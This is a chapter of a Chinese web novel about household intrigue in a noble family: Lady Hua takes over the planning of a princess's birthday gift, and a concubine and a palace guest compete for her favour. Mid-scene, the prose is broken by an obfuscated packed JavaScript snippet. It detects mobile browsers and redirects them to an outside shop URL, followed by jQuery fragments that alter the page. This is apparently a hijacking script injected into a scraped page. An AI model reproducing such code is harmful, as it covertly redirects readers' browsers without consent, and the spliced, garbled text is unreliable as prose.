薛景珩刚下朝回府，朝服未换便被母亲华夫人派来的人，三催四请到了颐春堂。


    “下月便是陵瑛县主生辰，各府都要备礼，你有何打算？”


    华夫人端坐在紫檀木雕花椅上，轻抚着茶盏，眼角余光却在观察儿子的反应。


    薛景珩解下大氅递给随侍的玉嬷嬷，神色疲惫淡然：“往年此类事宜不都是路遥打理么？母亲近日不是身子不适吗？何必过问这些琐事。”


    “我哪里不适了，不过是前日你兄长景彻的腿疾又犯了，我过去照料，陪得晚了些，不小心着了风寒……”华夫人提到长子薛景彻的事情，神色颇为无奈，但是慈爱之情溢于言表，“我亲自照拂他，景彻胃口好了不少，吃下了一整碗鲜笋鸡汤呢……”


    华夫人还想絮絮展开，被玉嬷嬷悄悄拧了拧胳膊方才住口。


    华夫人自觉失言，面上有些尴尬。


    如今偌大的薛府靠着薛景珩一人支撑，但是无论华夫人还是薛老太君，其实都会下意识地更偏爱因为腿疾不良于行的长子薛景彻。


    尤其华夫人素日很怕薛景珩，对这个小儿子是又敬又怕，所以很多家长里短的小事情都愿意跟长子薛景彻说，天长日久反倒是一碗水端不平了。


    华夫人将茶盏重重一放，生硬地将话题转回来，“今时不同往日，以往你不肯娶亲，所以后宅无人，如今府里添了两位新人，若还让路遥代劳操持这等家事，岂不让人笑话我淮安王府后宅没有规矩？陵瑛县主生辰礼的事情，便交由我打理吧，再由两位姑娘从旁参详。”


    “母亲，赵清蘅是德妃娘娘的贵宾，不过客居淮安王府而已，至于十一娘……”


    华夫人轻哼一声，打断了薛景珩的解释，“路遥一个外院年轻公子，懂什么内宅礼数？”


    她指尖一顿，语气忽地柔和下来：“况且，虽然你迟迟不肯应，但是外人都道淮安王府添了新人，行礼入门不过是早晚的事……总该让她们历练见识一下，放心，最后为娘会替你掌眼把关。”


    薛景珩眉头微蹙。


    自父亲去世后，薛府一应事由便由祖母掌权，华夫人平素被祖母处处管制拘束，如今见他后宅似有新人，便迫不及待要摆出婆婆的款儿来。


    薛景珩叹了口气：“母亲说得是。只是儿子担心您操劳……”


    “这算什么操劳？”华夫人见景珩露出准许的意思，唇角的笑意掩不住，语气却不容置疑，“你如今在朝中炙手可热，后宅之事若失了体统规矩，岂不让人笑话？”


    薛景珩沉吟片刻。


    “还考虑什么？”华夫人不依不饶，“我已请示过老太君，她老人家也说了，后宅之事本该由我做主。你整日忙于朝政，这些事就交给母亲着手处置吧。”


    薛景珩静默一瞬，终是颔首：“那便依母亲之意。只是两位姑娘亦是自家父母掌中金尊玉贵的女儿，若有不当之处，还请母亲多多提点。”


    华夫人顿时喜笑颜开：“放心，母亲自有分寸。”


    华夫人想在后宅立威，他愿意成全。毕竟，有时候后宅的动静……比朝堂更能窥见人心。


    不一会儿，华夫人便让玉嬷嬷召十一娘和赵清蘅到花厅议事。


    十一娘便被秋燕催着梳妆，“主子，您在府里多年，自然知晓夫人的性子，她最厌人迟到晚来。”


    镜中女子姿容胜雪，如葱玉指轻抚过素净的白玉簪，十一娘侧头询问，“也不知道赵清蘅那边准备的怎么样了。”


    秋燕抿嘴嗤笑，“主子放心，秋燕都安排好了。”


    踏入颐春堂那刻，满室檀香混着牡丹头油的气味扑面而来。


    华夫人正斜倚在屏风后的紫檀雕花榻上，与玉嬷嬷说话。


    玉竹姑姑竟也在此，她捧着血燕和翡翠玉镯笑吟吟地呈给华夫人，“这是刚从宫中传出的赏赐，二公子吩咐奴婢拣选出几样上好的，先给您送过来赏玩，其他的归入私库中。”


    玉竹随即转到华夫人身后，手法熟稔地为其揉捏着肩膀，温言软语间，哄得华夫人眯起眼，一脸受用。


    华夫人一袭绛红梅枝暗纹袄裙华贵大方，看着温和却不寡淡，鬓发高束，簪的是一枝极其漂亮的镂空点翠，既衬肤色，也不惹眼。


    华夫人一向会打扮，年岁虽已不轻，却自有一番恰到好处的风姿气度。


    丈夫去世后，薛府大小事宜皆有薛老太君操持，两个儿子与她也不十分亲近。只有陪嫁的玉嬷嬷，对这个从小带大的姑娘宠溺照顾，像是老母鸡一样，拼命张开柔软的翅膀将她护在身后。


    只是华夫人徒有美貌，实则内里空空。


    她像是摆在正厅的那尊昂贵香炉，日日焚香不绝，看似贵重，实则空洞无趣，若有人来与她说正事，她听得认真，末了只道一句：“也是呢。”再多的话，她便接不下去。


    “给夫人请安。”十一娘屈膝跪下，声音温婉柔顺。


    华夫人染着蔻丹的指尖在青瓷盏沿划了半圈：“抬起脸我瞧瞧。”


    华夫人年少时便凭美貌名动临安城，十五岁时被薛父一见钟情，而后不顾薛老太君的阻拦求亲，成为薛氏当家主母，令无数贵女羡慕嫉妒。


    她自知容貌是半生倚仗，便尤为看重和自己一般，天生丽质、肌骨生香的女子。


    最不喜那些“出门十几人服侍，入席香粉三重”的贵门千金，那种靠金玉堆叠出来的富贵模样，在她眼里不过是“漆金的木偶，经不得风雨。”


    因着这份私念，让她在相看时，对十一娘多了几分偏私。


    十一娘虽然未施脂粉，但是冰肌玉骨，如清水出芙蓉天然去雕饰，论美貌甚至未必逊色于如今临安第一美人——独孤世子妃苏兰婉。


    华夫人满意颔首：“景珩好眼光，确是好颜色！只是白白在府中服侍多年，若是早知你对景珩的情谊，我便做主纳你入门了。”


    花厅里早已摆好茶果，檀香温温地燃着，窗外阳光明媚。


    十一娘端坐一旁，神色娴雅，低头啜茶，眉眼却不时扫向门口，像是在等着什么。


    玉竹眼神若有所思地略过十一娘，垂眸不语


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885232|188073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    约莫一盏茶后，赵清蘅才姗姗来迟，被玉嬷嬷领着进来。


    她衣角微湿，裙摆上还隐约带着一缕淡红的泥痕。整个人气色如常，只是神情比平日更恭谨，行礼时垂眸不语。


    华夫人一眼望去，眉心顿时拧起，语气带着冷意：“今日这等正事，你竟迟来？这是什么样子？”


    赵清蘅福身道：“回夫人，方才途中不慎，染了尘污，实在失礼。臣女已尽快换洗，未能及时赶来，请您责罚。”


    十一娘略欠身劝慰道，“赵妹妹素来恭敬孝顺，想来也是一时不慎。还请夫人宽宥这一次吧。”


    华夫人面色不善，一旁伺候的玉竹姑姑抿唇浅笑，似是无意地出声：“十一娘还是如从前伺候王爷时候一般温柔小意，只是如今身份变换，还是得懂些规矩、端些姑娘的架子才好，免得丢了淮安王府的面子。若连拜会尊长这般大事，都可以随意失约，那偌大的一个淮安王府还如何辖制下人……”


    华夫人耳根子最软，闻言不满地直起身子，显然是听进了玉竹这般说辞。


    “夫人容玉竹说句僭越的话，若是我今儿侍奉老太君迟了、明儿侍奉您也迟了，那还如何得了？！况且，赵姑娘初次拜见夫人便迟到，若是传扬出去……还以为是仗着宫中势力轻慢淮安王府呢。”


    十一娘面色不显，心中诧异，玉竹是淮安王府的掌事姑姑，办事妥帖深得薛景珩信任，身后又有薛老太君撑腰，地位稳如磐石，素来不插手府中是非，今日怎地这般主动开口站在自己一队暗暗弹压赵青衡。


    到底是得了公子的授意？还是她自己另有盘算？


    室内静得只闻珠帘微响，十一娘和玉竹的目光在空中短促交汇，片刻后，两人同时移开视线，心照不宣的默契已然在沉默中生根。


    两人在赵清蘅的事情上，短暂地达成了同盟，站在了一处。


    华夫人闻言更不悦，赵清蘅不动声色地擦过裙角那一抹泥痕，眼中一闪而过的冷意，像结了霜的寒冰。


    最后她只低垂着眼帘恭敬请罪，神态乖巧，“我初来王府人生地不熟，路上被脸生的侍女指岔了路，又被不知从哪冒出来的厨娘泼了一盆脏水污了衣裳，这才不得已折返更衣耽搁了给夫人请安的时间。”


    “既如此……就免你这一次无心之失，以后务必仔细些，不可再犯！”


    华夫人端坐主位，茶盏轻搁，目光缓缓扫过下首两人——


    “今日叫你们来，是为陵瑛县主生辰贺礼一事。”


    陵瑛县主并非皇室血脉，却比许多正经公主还要风光。


    她本是已故忠烈将军的遗孤，幼时因家族功勋被德妃收养，记在名下。


    圣上早年亦怜她身世，特封赐县主名号。这些年来，但凡宫宴，她的席位必在众贵女之上；但凡贡品，德妃总要挑最好的留给她。


    久而久之，皇宫内外都摸清了门道，若要讨好德妃娘娘，必先讨好陵瑛县主。


    “以三日为限，你们各自拟个章程交于我定夺。”华夫人得意地吩咐。